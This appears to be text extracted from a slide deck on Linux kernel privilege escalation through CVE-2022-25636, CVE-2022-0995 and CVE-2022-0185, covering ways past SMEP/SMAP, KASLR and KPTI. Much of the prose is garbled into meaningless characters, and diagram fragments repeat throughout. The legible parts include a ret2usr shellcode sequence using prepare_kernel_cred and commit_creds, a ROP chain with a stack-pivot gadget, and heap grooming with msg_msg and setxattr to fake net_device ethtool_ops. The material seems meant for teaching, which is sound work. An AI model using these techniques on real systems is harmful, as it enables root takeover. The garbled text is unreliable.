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...

syscall(...);

...

Ԓ–

ԃԒ–

ᵺⱴỦ

SYSCALL_DEFINE3(...) {

...

}

vuln_func(...) {

...

}
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Ẹאָ

ꜛ֑╩∕ḪӔ ḟԄῡֹ

Å CVE- 2022 - 25636
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Å CVE- 2022 - 0185

Å SMEP/SMAP
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Å KPTI
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ᶈQEMUѧ Linux ԓ⁄

Å Linux ԓ⁄ⱱ χ5.13.19

Å QEMUⱱ χ4.2.1

Å ⁞ᾰҭ χUbuntu Focal



CVE- 2022 - 25636

╩∕ᴜⱣ

CVE- 2022 - 25636￼◖╓ἄᵼῗֵᾘῪҬї [1]

Å netfilter ₩ᶒ ֫ Ḿ ᾭ ￼ֶᾸ‍ҭᵙ
ḫ ֒ԄḾ ￼‍ҭјᵃιṀ ֒Ԅ￼ ᶀᶽ҈
֫ ￼ԓḕᶽṇ

net/netfilter/nf_tables_offload.cnet/netfilter/nf_dup_netdev.c

entries ֪ ᾎ

CVE- 2022 - 0995 CVE- 2022 - 0185

֑ԃentries ᾎ

ᵆentries ֑ԃԒḲ

֪ entries ᾎ

ḽflags ῑ ֹ

ḽflags ⅍ῑ ֹ
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CVE- 2022 - 25636

╩∕ᴜⱣ

Ӭ while Ỉעn₭ιoffload_flags ◑ ‍ҭ￼
expr ῶmѦ(m n)

Å num_actions=m ιentries ᾭ Ṅ ֫ mѦ

Å offload n₭ιentriesזּ ᾭ Ṅ Ҧ֒
Ԅn₭(ctx - >num_actions=n)

net/netfilter/nf_tables_offload.cnet/netfilter/nf_dup_netdev.c

entries ֪ ᾎ

CVE- 2022 - 0995 CVE- 2022 - 0185

֑ԃentries ᾎ

ᵆentries ֑ԃԒḲ

֪ entries ᾎ

ḽflags ῑ ֹ

ḽflags ⅍ῑ ֹ

7



...

╩∕ᴜⱣ

kmalloc - 128

flow_rule

match

entries[0]

num_entries

struct net_device *dev

kmalloc - 4k

net_device

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

write

entries[m - 1] struct net_device *devwrite

8



...
...

╩∕ᴜⱣ

kmalloc - 128

flow_rule

match

entries[0]

num_entries

struct net_device *dev

kmalloc - 4k

net_device

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

write

entries[m - 1] struct net_device *devwrite

entries[m] struct net_device *devwrite

entries[n - 1] struct net_device *devwrite
9



...
...

╩∕ ג

match

entries[0]

num_entries

struct net_device *dev

kmalloc - 4k

net_device

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

write

entries[m - 1] struct net_device *devwrite

entries[m] struct net_device *devwrite

entries[n - 1] struct net_device *devwrite

CVE- 2022 - 25636

10



kernel/ watch_queue.c

CVE- 2022 - 0995ḕᶈѣѦ Ԅ◖╓ιἄᵼ֫֒ףּ
ָῗֵᾘῪҬї ᵙֵᾘῪҬї ֜[2]

Ѧ◖╓χ

Å ԓ⁄֩ᾭwatch_queue_set_filter Ḿ҈֫
ᵙ֒Ԅwatch_filter ￼ֶᾸ‍ҭї

Å watch_filter ￼filter ᾭ ֫ ᶽṇṇ҈֒
ԄῊ￼ Ҧ ᶀιᵃῊḕᶈ⅝⸗ ӈᾛӐιҡ
Ṁ ֒ףּ

tf[i].type ᾴⱴỦᴴὔַײιẸ tf [ i ].type

ᶈ[0x80,0x400) Ὴιwfilter јᶭ֫ז Ѧᾭι
ӇҠḕᶈ֒ԄιṀ ֒Ԅӈ ֧֫ ᶀ

Å Ԅ￼ԓḳῗtf[i]֒ףּ ￼ṞớӪι Ҏԓḳᶽ
ᶺјᴵίι Ҩַּזι ἅҪӓⱴ ҆ѥ╩∕

╩∕ᴜⱣ

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

ҥ֑ԃwfilter - >filters

16* 64=1024=0x400

16* 8=128=0x80

wfilter - >filters ֪ ᶼṆ

֪ wfilter - >filters

11



kernel/ watch_queue.c

╩∕ᴜⱣ

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

ֵᾘ ᵿ(0x400) ᶼ

ֵᾘῪҬṯ

֪ wfilter - >filters

ӫ ֵᾘῪҬṯ ι ҇Ѧ◖╓Әⱡḕᶈ

҇Ѧ◖╓χ__set_bit(off, ptr) Ṅptr ӭ
off ⅝⸗￼ӈ 1

Å ᶈ ֩ᾭѧι__set_bit Ṅwfilter -

>type_filter ӭ q- >type ⅝⸗￼ӈ 1

Å wfilter - >type_filter ᶁḧὝᵇ
wfilter ￼ Ḋӈ

Å ֹ֒ԄῊtf[i].type ￼ ᶀι
__set_bit ֒Ԅ ᶀѭ[wfilter, 

wfilter+0x400)

Å Ẹwfilter ֫ ᶽṇṇ҈
128B(0x400/8=0x80=128) Ὴι__set_bit

ṏ ḫא Ԅ֒ףּ

Å ḫ ᾦ‛χᵇ Ḧ ᵿԒҮổӇ ֑ԃ ѥ₦
1ײַ◕

wfilter - >type_filter[q - >type]=1

bit
12



╩∕ᴜⱣ

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

<empty>

kmalloc - 96

wfilter

filters[1]

filters[1]

filters[1] filters[2]

filters[2]

filters[2]

type

nr_filters

filters[0]

type_filter [2]

subtype_fil

ter[0]

info_filter info_mask

wfilter - >type_filter[q - >type]=1

bit

filters[0]

filters[0]

q- >type

010010 1

13



╩∕ ג

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

<empty>

kmalloc - 96

wfilter

filters[1]

filters[1]

filters[1] filters[2]

filters[2]

filters[2]

nr_filters

filters[0]

type_filter [2]

wfilter - >type_filter[q - >type]=1

bit

filters[0]

filters[0]

q- >type

010010 1

CVE- 2022 - 0995

1 1
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CVE- 2022 - 0185￼◖╓ἄᵼῗֵᾘῪҬ╠֦[3]

Å ԓ⁄֩ᾭlegacy_parse_param ѧ￼ֶᾸ‍
ҭḕᶈῂ ᴺᾯᾭї○ιṀ Ḿ֒Ԅ ẙ￼
ֺ᷂ᾦ

Å ֩ᾭὓ ҈יἋҽԄ￼ᾭὯֹԓ⁄ѧιּזּ ẙ
≡ῶ ֺιἍҨḕᶈ ╓◖֒ףּ

╩∕ᴜⱣ

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

fs/fs_context.c

legacy_data ṯῑᾎὊᶼṆ

῞⁸ᵆlegacy_data ḔԃᾎὊᶼṆ

ᾐᾎ╠֦

ꜛ֑╩∕

size lenו
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○֧ԓḳ⁪Ẫѭ

"key1=str1,key2=str2,key3=str3...ò

Å key/str ῗּזἋ‗ ￼(ѦᾭѼῗ)ι',' ᵙ
'=' ῗ֩ᾭ▌ז￼

Å ḫ ᾦ‛ῗᵆ Ḧ ᵿԒ ҮổԒḲשׁ

ᴸᶃῗ ףּ msg_msg￼m_tsḔⅎ￼ᶃӕ

╩∕ᴜⱣ

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

msg_msgὓ ֪ ᶇ
legacy_data Ѳᵄ

16



○֧ԓḳ⁪Ẫѭ

"key1=str1,key2= str2,key3= str3...ò

Å key/str ῗּזἋ‗ ￼(ѦᾭѼῗ)ι',' ᵙ
'=' ῗ֩ᾭ▌ז￼

Å ḫ ᾦ‛ῗᵆ Ḧ ᵿԒ ҮổԒḲשׁ

ᴸᶃῗ Ԅmsg_msg￼m_tsḔⅎ￼ᶃӕ֒ףּ

╩∕ᴜⱣ

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

CVE- 2022 - 0185

-

17



╩∕ ꜛ֑ ג

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

1 1 -

18



ᴟ ᾑ♅

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

[1] https://bonfee.me/2022 - 03- 17- cve - 2022 - 25636/

[2] https://nvd.nist.gov/vuln/detail/CVE - 2022 - 0995

[3] https://www.willsroot.io/2022/01/cve - 2022 - 0185.html

19
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Ҟ ∫

ret2usr

SMAP

mov data to 

kernel - space

SMEP

mov code to 

kernel - space

KASLR

leak offset

FG- KASLR

leak ksymtab

KPTI

ret2dir

1
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5
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10
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11

CVE- 2022 - 0995

CVE- 2022 - 25636
f lip CR3 register

12

KCFI

CVE- 2022 - 0185

getting root without 

control - flow hijacking

13

SMEP/SMAP KASLR KPTI KCFI
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match

entries[0]

num_entries

struct net_device *dev

kmalloc - 4k

net_device

entries[1]
struct net_device *dev

write

write

CVE- 2022 - 25636

SMEP/SMAP KASLR KPTI KCFI

net_device ᴴїᴴҧ ֶⱴ Ύ ψ

CVE- 2022 - 25636
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match

entries[0]

num_entries

struct net_device *dev

kmalloc - 4k

net_device

entries[1]
struct net_device *dev

write

write

CVE- 2022 - 25636

SMEP/SMAP KASLR KPTI KCFI

<attr>

ethtool_ops

<attr>

name

<func>

begin

<func>

Ԓ ῶ

22



match

entries[0]

num_entries

struct net_device *dev

kmalloc - 4k

net_device

entries[1]
struct net_device *dev

write

write

CVE- 2022 - 25636

SMEP/SMAP KASLR KPTI KCFI

<attr>

ethtool_ops

<attr>

name

<func>

begin

<func>

23



SMEP/SMAP KASLR KPTI KCFI

<attr>

ethtool_ops

<attr>

name

<func>

begin

<func>

kmalloc - 4k

net_device

net҈יּ _device Ḿ ῗᶈ ֳấῊ
֫ ￼ιⱴỦᾢ←ὔֹ ῶӋԒḲ

match

entries[0]

num_entries

struct net_device *dev

entries[1]
struct net_device *dev

write

write

24



SMEP/SMAP KASLR KPTI KCFI

<attr>

ethtool_ops

<attr>

name

<func>

begin

<func>

<attr>

ethtool_ops(faked)

<attr>

name

<func>

begin(faked)

<func>

struct net_device *dev

kmalloc - 4k

net_device

ҿ ẉ῎Ὀnet_device ῶӋ

25



SMEP/SMAP KASLR KPTI KCFI

<attr>

ethtool_ops

<attr>

name

<func>

begin

<func>

<attr>

ethtool_ops(faked)

<attr>

name

<func>

begin(faked)

<func>

struct net_device *dev

kmalloc - 4k

net_device

ḭӌ [10]זּ (Code Reuse) χḾ`
ᵍץ Ѧἆ֡Ѧḭӌ￼ḕ ҟ εḅ
⁭ Ἇ Ṿζ Ὰ֫ ᵙ זּ

26



SMEP/SMAP KASLR KPTI KCFI

<attr>

ethtool_ops

<attr>

name

<func>

begin

<func>

<attr>

ethtool_ops(faked)

<attr>

name

<func>

begin(faked)

<func>

struct net_device *dev

kmalloc - 4k

net_device

27



SMEP/SMAP KASLR KPTI KCFI

<attr>

ethtool_ops

<attr>

name

<func>

begin

<func>

<attr>

ethtool_ops(faked)

<attr>

name

<func>

begin(faked)

<func>

struct net_device *dev

kmalloc - 4k

net_device

Ḅӌӟ setxattr ᶻᶩ
ӻָnet_device Ӈײַ ψ

28



SMEP/SMAP KASLR KPTI KCFI

slab ֫ ᵸ[11] ᾟὙᶈԓ⁄ѧӠּפᴵӗ֫ ￼
ẂּזḾ ḕιᴵҨ֟ṈẂּזḾ ￼ ᶶ֫
ᵙ ᾣ

Å SLUB֫ ᵸ[12] ῗ ׁ slab￼זּ ֫ ᵸ

Å slab ֫ ᵸṄ ḕ֫ѭњּז ḕᵙ זּ
ḕιᴵҨ /proc/slabinfo ‬ ᾟὙ
￼ ḕ ᶚ

Å Ṿῶkmalloc ￼ ῗ זּ ḕιԎӎ￼
ῗњּז ḕ

Å זּ ḕ￼ὶᴭῗkmalloc() ιḜ⁞Ὧ
֫ ￼ᶽṇ Ὅ ḕ֫

֪ ῡֹ

ⱴ Ḕ

љⱴ Ḕ

ӕχ ѦḾ kmalloc() ֫ 84Bι ѱḜҺᶈ
kmalloc - 96 ḕѧ֫ ιᵼѭḜ￼ᶽṇṞ҈(64, 96]

29



setxattr

SMEP/SMAP KASLR KPTI KCFI

֪ ῡֹ

kmalloc - 4k

<attr>

ethtool_ops

<attr>

name

setxattr

4k 4k

kmalloc()

net_device

‒setxattr Ṏῑᴴ ᴈὊnet_device ᾄᵄַײ ⁯҂

ὓіΎᴰ net_device ḽ ← ᾄ
30



SMEP/SMAP KASLR KPTI KCFI

<content>

m_type

m_list

m_ts

next

security

msg_msg

31

kmalloc - 4k

net_device
net_device ἷ securityָשׁ ḓ₡



msg_msg

kmalloc - 192

flow_rule

match

entries[0]

num_entries

struct net_device *dev

kmalloc - 4k

net_device

msg_msg

msg_msg

entries[1]

entries[2]

0x000

SMEP/SMAP KASLR KPTI KCFI

CVE- 2022 - 25636

32



msg_msg[2]

entries[3]

entries[4]

entries[5]

entries[6]

entries[7]

msg_msg[0]

msg_msg[1]

0x0a0

0x050

0x0f0

0x140

0x190

struct net_device *dev

kmalloc - 4k

net_device

dev

SMEP/SMAP KASLR KPTI KCFI 33



<content>

m_type

m_list

m_ts

next

security
dev

msg_msg

kmalloc - 192

flow_rule

msg_msg

msg_msg

kmalloc - 4k

net_device

CVE- 2022 - 25636

SMEP/SMAP KASLR KPTI KCFI 34



kmalloc - 4k

net_device

kmalloc - 4k

net_device

kmalloc - 4k

setxattr

setxattr

setxattr

security_msg_msg_freesetxattr

CVE- 2022 - 25636

SMEP/SMAP KASLR KPTI KCFI

35



<attr>

ethtool_ops

<attr>

name

kmalloc - 4k

setxattr(net_device)

setxattr

setxattr

<func>

begin

<func>

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

CVE- 2022 - 25636

SMEP/SMAP KASLR KPTI KCFI

0xc8

36



<attr>

<func>

<attr>

ethtool_ops

name

kmalloc - 4k

setxattr(net_device)

setxattr

setxattr

<func>

begin

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

CVE- 2022 - 25636

SMEP/SMAP KASLR KPTI KCFI

0xc8

ethtool_ops ᶩԃַײᶉᶌ( fake_ops_addr )

ṝ҇net_device Ԓ ε Ḅӌ Ệψ

fake_ops_addr

37



msg_msgseg

kmalloc - 128

flow_rule

match

entries[0]

num_entries

struct net_device *dev

kmalloc - 4k

net_device

entries[1]

write

CVE- 2022 - 25636

SMEP/SMAP KASLR KPTI KCFI

struct net_device *devwritedev

38



msg_msgseg

kmalloc - 128

flow_rule

match

entries[0]

num_entries

struct net_device *dev

kmalloc - 4k

net_device

<content>

struct net_device *dev

write

write

CVE- 2022 - 25636

SMEP/SMAP KASLR KPTI KCFI

dev

next

USER- SPACE
msgrcv

39



SMEP/SMAP KASLR KPTI KCFI

<attr>

ethtool_ops

<attr>

name

<func>

begin

<func>

<attr>

ethtool_ops(faked)

<attr>

name

<func>

begin(faked)

<func>

struct net_device *dev

kmalloc - 4k

net_device

V ҿ net_device σsetxattr

V ← ᾄnet_device σmsg- >security

V ᶩӻnet_device σ ֪ ῡֹ

V ⅝╩net_device σmsgrcv

40
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summary

Ἃזּ or ԓ⁄ ό



ẓⱴ Ẑ

ᾃ֧

...

syscall(...);

...

ԃԒ–

ᵺⱴỦ

SYSCALL_DEFINE3(...) 

{

...

}

vuln_func(...) {

...

copy_from_user()

...

}

Ẕṕ ⱴ

ᴴὔ

shellcode

shellcode

Executable Page

shellcode

Writable Page

gadget

gadget

gadget

Ԓ–ⱴỦ

SMEP/SMAP KASLR KPTI KCFI

call shellcode_addr
1. Ԓ–ỳ ὓבּ∫

ỳ ⱴỦ ἷҦ 2. ỳ Ԓ–
↕ԃἷҦ

3. ᶵⱴԒ– ᴜⱳἷҦ



ret2usr

SMEP/SMAP KASLR KPTI KCFI

ret2 usr ԓ⁄Ҧ / ᾭὯὝ ѭּזἋ ￼ᶊᶍι֫ѭ
ίֺ╙ᾢ֨ᵙᾭὯ╙ᾢ֨[9]

Å ίֺ╙ᾢ֨ ᾡԓ⁄Ҧ Ὕ ѭּזἋ ￼ᶊᶍιӔệ
ԓ⁄Ἒ ╙ Ἃזֹּ ιἚ Ἃזּ Ҧ

Å Ἃזּ ᶊᶍᾣԄshellcode ROP

Å Ӕּזԓ⁄іїᾰἚ Ἃזּ Ҧ

Å ᾭὯ╙ᾢ֨ ᾡԓ⁄ᾭὯὝ ѭּזἋ ￼ᶊᶍιӔệ
ԓ⁄ / ֒ԄּזἋ ᾭὯ

Å Ἃזּ ᶊᶍᾣԄӀ ￼ᾭὯ ‗

42



<attr>

ethtool_ops

<attr>

name

kmalloc - 4k

setxattr(net_device)

setxattr

setxattr

fake_ops_addr

user_get_shell

movabs rax, 

<prepare_kernel_cred>

xor rdi, rdi

call rax

movabs rax, 

<commit_creds>

call rax

swapgs; push <user_state>; 

iretq

USER_SPACE

mov rdi, rax

0xc8 begin ethtool_ops

user_get_shell

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

ret2usr

SMEP/SMAP KASLR KPTI KCFI

<func>

ethtool_ops

<func>

begin

0xc8

fake_ops_addr

43



fake_ops_addr

user_get_shell

movabs rax, 

<prepare_kernel_cred>

xor rdi, rdi

call rax

movabs rax, 

<commit_creds>

call rax

swapgs; push <user_state>; 

iretq

mov rdi, rax

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

ret2usr

SMEP/SMAP KASLR KPTI KCFI

ḫ ᾦ‛χ )commit_credsזּ prepare_kernel_cred(NULL) )

L, Xin & L, Lingguang & W, Yuewu & J, Jiwu & S, Kun & Z, Quan. (2018). 

A Measurement Study on Linux Container Security: Attacks and Countermeasures. 

418 - 429. 10.1145/3274694.3274720. 

euid

USER_SPACE
44



user_get_shell

Ἒ dev - >ethtool_ops - >begin(dev)

Å rax Ӡḕ￼ᶊᶍuser_get_shell ￼ᶊᶍ

movabs rax, 

<prepare_kernel_cred>

xor rdi, rdi

call rax

movabs rax, 

<commit_creds>

call rax

swapgs; push <user_state>; 

iretq

mov rdi, rax

fake_ops_addr

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

ret2usr

SMEP/SMAP KASLR KPTI KCFI

USER_SPACE
45



user_get_shell

__x86_indirect_thunk_rax ῗ ὶ

Å jmpֹrax ἍὝᵇ￼ӈ ιᴏἚ user_get_shell ɺ

Åҡ זּ ѧᴵҨ ֧ιѳᵅҺ ԄּזἋ Ἒ Ὕҧ

movabs rax, 

<prepare_kernel_cred>

xor rdi, rdi

call rax

movabs rax, 

<commit_creds>

call rax

swapgs; push <user_state>; 

iretq

mov rdi, rax

fake_ops_addr

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

ret2usr

SMEP/SMAP KASLR KPTI KCFI

USER_SPACE
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fake_ops_addr

user_get_shell

movabs rax, 

<prepare_kernel_cred>

xor rdi, rdi

call rax

movabs rax, 

<commit_creds>

call rax

swapgs; push <user_state>; 

iretq

Ṅprepare_kernel_cred ￼ᶊᶍᾣԄrax ḷḕᵸιẊ▐ rdi ιѳᵅ
ֹrax Ӡḕ￼ᶊᶍ

Åḫ ᾦ‛χ prepare_kernel_cred(NULL)זּ

mov rdi, rax

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

ret2usr

SMEP/SMAP KASLR KPTI KCFI
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user_get_shell

movabs rax, 

<prepare_kernel_cred>

xor rdi, rdi

call rax

movabs rax, 

<commit_creds>

call rax

swapgs; push <user_state>; 

iretq

prepare_kernel_cred(NULL) ᵻ￼cred Ὕ Ӡḕᶈrax ḷḕᵸ
ѧι credט Ὕ ֹrdi ѧιҨӐѭї ₭֩ᾭ￼ ᴠᾭ ѳᵅṄ
commit_creds ￼ᶊᶍᾣԄrax Ẋ ֹrax

Åḫ ᾦ‛χ )commit_credsזּ prepare_kernel_cred(NULL) )

mov rdi, rax

fake_ops_addr

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

ret2usr

SMEP/SMAP KASLR KPTI KCFI
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user_get_shell

movabs rax, 

<prepare_kernel_cred>

xor rdi, rdi

call rax

movabs rax, 

<commit_creds>

call rax

swapgs; push <user_state>; 

iretq

swapgs֬ὭGSⅎḷḕᵸιẊṄṫᶃѧӠḕḄ
ἋꜛỗҨᴣget_shellזּ￼ ֩ᾭὝ ᴙԄ′ѧι
ѳᵅ iretqזּ Һҡ′ ẵּ֧זἋꜛỗẊ֬Ὥ
[6]

mov rdi, rax

fake_ops_addr  

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

ret2usr

SMEP/SMAP KASLR KPTI KCFI

USER_SPACE
49



user_get_shell

movabs rax, 

<prepare_kernel_cred>

xor rdi, rdi

call rax

movabs rax, 

<commit_creds>

call rax

swapgs; push <user_state>; 

iretq

mov rdi, rax

user_get_shell ιῂזּ Ὴώ ἄו

fake_ops_addr  

CVE- 2022 - 25636 CVE- 2022 - 0995 CVE- 2022 - 0185

ret2usr

SMEP/SMAP KASLR KPTI KCFI

USER_SPACE
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Ҟ ∫

ret2usr

SMAP

mov data to 

kernel - space

SMEP

mov code to 

kernel - space

KASLR

leak offset

FG- KASLR

leak ksymtab

KPTI

ret2dir

1

2

8

3

4

5

7 9

10

6

11

CVE- 2022 - 0995

CVE- 2022 - 25636
f lip CR3 register

12

KCFI

CVE- 2022 - 0185

getting root without 

control - flow hijacking

13
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SMEP/SMAP KASLR KPTI KCFI

֗қѰ

Ḿừ῟χret2usr

SMEP(Supervisor Mode Execution 

Prevention ) ֘ίֺ╙ᾢ֨[1]

ÅᶈⱴỦԒḔѧ ֒shellcode

Åַּז◖╓ṄἚ ╙ ḧᵇֹ֝ᶵḄ￼
shellcode

SMAP(Supervisor Mode Access 

Prevention ) ֘ᾭὯ╙ᾢ֨[1]

ÅᶈⱴỦԒḔѧӀ ᾭὯ

Åַּז◖╓Ṅԓ⁄ᾭὯὝ ῲὭѭӀ ᾭ
Ὧᶊᶍ

Yao, J., Zimmer, V. (2020). The Kernel. In: Building Secure

Firmware. Apress , Berkeley, CA. https:// doi.org /10.1007/978 -

1- 4842 - 6106 - 4_16
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֗қѰ

Yao, J., Zimmer, V. (2020). The Kernel. In: Building Secure

Firmware. Apress , Berkeley, CA. https:// doi.org /10.1007/978 -

1- 4842 - 6106 - 4_16

user_get_shell

movabs rax, 

<prepare_kernel_cred>

xor rdi, rdi

call rax

movabs rax, 

<commit_creds>

call rax

swapgs; push <user_state>; 

iretq

mov rdi, rax

fake_ops_addr  

USER_SPACE
53



ḄӌḪ♪

Ẹ ᶴ҈ԓ⁄₩Ẫ( ring0) ῊιSMEPὁ Ἒ Ἃזּ Ҧ ιSMAPὁ Ἃזּ ᾭὯ

Å ḫ Ὴιḅ‛CPU₅‬ּ֧זἋ Ҧ Ἒ / ᾭὯ ιᵃῊSMEP/SMAPṰἔẦιֱ
ᴧ Ѧ Ầẁ[2]

Å qemuѧᶈ- cpuᴠᾭᵅ▌ז+smep/+smapἔẦ[3]

SMEP/SMAPῗIntel Ɑώӗ￼ ҭ⸗ớιָּ֫יCR4ḶḔᵷַײ 20/21 Ӈὔֹ[4]

Å ᶈARM ᶵіιSMEPḾẔPXN(Privileged eXecute Never )ιSMAPḾẔ
PAN(Privileged Access Never )

https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention

SMEP/SMAP KASLR KPTI KCFI
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Ḅӌ

ׁῶѣ ΆẪχ

1. ◕SMEP/SMAPῗ︡Ҭ҈יּ ιẊ CR4ḷḕᵸίֺιἍҨᴵҨ ᾡCR4Ӫ‎ḫ
SMEP/SMAPא [7][4]זּ

2. ԁ ἋᾭὯᵙἚזּ ἋҦזּ

SMEP/SMAP KASLR KPTI KCFI
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user_get_shell

movabs rax, 

<prepare_kernel_cred>

xor rdi, rdi

call rax

movabs rax, 

<commit_creds>

call rax

swapgs; push <user_state>; 

iretq

mov rdi, rax

user_get_shell ιῂזּ Ὴώ ἄו

ÅӘ₭ἔẦSMAPᴝ SMEPṍ

fake_ops_addr  

׀ ᵺ

SMEP/SMAP KASLR KPTI KCFI

USER_SPACE
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user_get_shell

movabs rax, 

<prepare_kernel_cred>

xor rdi, rdi

call rax

movabs rax, 

<commit_creds>

call rax

swapgs; push <user_state>; 

iretq

mov rdi, rax

ἔẦSMAPιᶈ/proc/cpuinfo ѧᴵҨ‬ ֹSMAP‰ỐẦᵏ[4]

fake_ops_addr  

╪

SMEP/SMAP KASLR KPTI KCFI
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user_get_shell

movabs rax, 

<prepare_kernel_cred>

xor rdi, rdi

call rax

movabs rax, 

<commit_creds>

call rax

swapgs; push <user_state>; 

iretq

mov rdi, rax

push <user_state> Ὴιזּ
CPU₅╜ֹּזἋ ᾭὯ ι ᴧ
PF(Page Fault) ι ῎SMAP ᶼᶈ
ᾭὯ Ὴ ret2usr ᾢ֨

fake_ops_addr  

SMEP/SMAP KASLR KPTI KCFI

USER_SPACE
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Ҟ ∫

ret2usr

SMAP

mov data to 

kernel - space

SMEP

mov code to 

kernel - space

KASLR

leak offset

FG- KASLR

leak ksymtab

KPTI

ret2dir

1

2

8

3

4

5

7 9

10

6

11

CVE- 2022 - 0995

CVE- 2022 - 25636
f lip CR3 register

12

KCFI

CVE- 2022 - 0185

getting root without 

control - flow hijacking

13
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user_get_shell

...

mov r14, <dev>+0x8

mov r15, [r14]

fake_ops_addr  

push r15

...; iretq

...

user_ss

user_sp

user_rflags

user_cs

user_rip

<attr>

<attr>

name

kmalloc - 4k

setxattr(net_device)

setxattr

setxattr

╪

SMEP/SMAP KASLR KPTI KCFI

USER_SPACE
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ethtool_ops

user_get_shell

<func>

ethtool_ops

<func>

begin

0xc8

fake_ops_addr



user_get_shell

...

mov r14, <dev>+0x8

mov r15, [r14]

fake_ops_addr  

push r15

...; iretq

...

user_ss

user_sp

user_rflags

user_cs

user_rip

ҡ<dev>+0x8 ẦḊιӘ₭Ӡḕuser_ss user_sp user_rflags

user_cs user_rip

SMEP/SMAP KASLR KPTI KCFI

USER_SPACE
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user_get_shell

...

mov r14, <dev>+0x8

mov r15, [r14]

fake_ops_addr  

push r15

...; iretq

...

user_ss

user_sp

user_rflags

user_cs

user_rip

⁄ҡԓוἋꜛỗἄזּ ᴙԄ′ѧιѳᵅ iretq Ḣἄꜛỗ Ὥ ≡
ῶּזἋ ᾭὯ ιώ ἄוιSMAP

SMEP/SMAP KASLR KPTI KCFI
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ἔẦSMEPιᶈ/proc/cpuinfo ѧᴵҨ‬ ֹSMEP‰ỐẦᵏ[4]

Å qemuu ҧ ᶿṇҺ ἈᾸι ᶈVIMѧ‬

user_get_shell

...

mov r14, <dev>+0x8

mov r15, [r14]

fake_ops_addr  

push r15

...; iretq

...

user_ss

user_sp

user_rflags

user_cs

user_rip

╪

SMEP/SMAP KASLR KPTI KCFI
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user_get_shell Ἃזֹּ╜ῊιCPU₅זּ Ὕҧ Ἒ ι ᴧ
PF(Page Fault) ι ῎SMEP ᶼᶈὝҧἚ Ὴ ret2usr ᾢ֨

user_get_shell

...

mov r14, <dev>+0x8

mov r15, [r14]

fake_ops_addr  

push r15

...; iretq

...

user_ss

user_sp

user_rflags

user_cs

user_rip

SMEP/SMAP KASLR KPTI KCFI
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Ҟ ∫

ret2usr

SMAP

mov data to 

kernel - space

SMEP

mov code to 

kernel - space

KASLR

leak offset

FG- KASLR

leak ksymtab

KPTI

ret2dir

1

2

8

3

4

5

7 9

10

6

11

CVE- 2022 - 0995

CVE- 2022 - 25636
f lip CR3 register

12

KCFI

CVE- 2022 - 0185

getting root without 

control - flow hijacking

13
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<attr>

<attr>

name

kmalloc - 4k

setxattr(net_device)

setxattr

setxattr

pop rdi ; ret

0x0

prepare_kernel_cred

pop rcx ; ret

0x4

cmp rcx, 4 ; jne $addr ; 

pop rbp ; ret

0xffffffffffffffff

mov rdi, rax ; jne $addr ; 

xor eax, eax ; ret

commit_creds

swapgs ; ... ; iretq

0x0

0x0

get_shell

<user_state>

fake_ops_addr

ROP

<stack_pivot_gadget>

╪

pop rax ; ret

<new_rax_for_rsp>

SMEP/SMAP KASLR KPTI KCFI

66

ethtool_ops

user_get_shell

<func>

ethtool_ops

<func>

begin

0xc8

fake_ops_addr

gadget ( W^X)



SMEP/SMAP KASLR FG- KASLR KPTI KCFI

Ἒ dev - >ethtool_ops - >begin(dev)

Å rax Ӡḕ￼ᶊᶍstack_pivot_gadget ￼ᶊᶍ

Å rdi ӠḕὝᵇdev￼Ὕ

pop rdi ; ret

0x0

prepare_kernel_cred

pop rcx ; ret

0x4

cmp rcx, 4 ; jne $addr ; 

pop rbp ; ret

0xffffffffffffffff

mov rdi, rax ; jne $addr ; 

xor eax, eax ; ret

commit_creds

swapgs ; ... ; iretq

0x0

0x0

get_shell

<user_state>

fake_ops_addr

<stack_pivot_gadget>

pop rax ; ret

<new_rax_for_rsp>

SMEP/SMAP KASLR KPTI KCFI
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__x86_indirect_thunk_rax ῗ ὶ

Å jmpֹrax ἍὝᵇ￼ӈ ιᴏἚ stack_pivot_gadget ɺ

pop rdi ; ret

0x0

prepare_kernel_cred

pop rcx ; ret

0x4

cmp rcx, 4 ; jne $addr ; 

pop rbp ; ret

0xffffffffffffffff

mov rdi, rax ; jne $addr ; 

xor eax, eax ; ret

commit_creds

swapgs ; ... ; iretq

0x0

0x0

get_shell

<user_state>

fake_ops_addr

<stack_pivot_gadget>

pop rax ; ret

<new_rax_for_rsp>

SMEP/SMAP KASLR KPTI KCFI
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SMEP/SMAP KASLR FG- KASLR KPTI KCFI

stack_pivot_gadget Ṅrdi ￼ӪӐѭ′ [8] ιẊ ֹԓ⁄
Ἒ Ὕҧ

Å rdi Ὕᵇdevι ῗἫdev￼ԓḳӐѭ′ɺ

pop rdi ; ret

0x0

prepare_kernel_cred

pop rcx ; ret

0x4

cmp rcx, 4 ; jne $addr ; 

pop rbp ; ret

0xffffffffffffffff

mov rdi, rax ; jne $addr ; 

xor eax, eax ; ret

commit_creds

swapgs ; ... ; iretq

0x0

0x0

get_shell

<user_state>

fake_ops_addr

<stack_pivot_gadget>

pop rax ; ret

<new_rax_for_rsp>

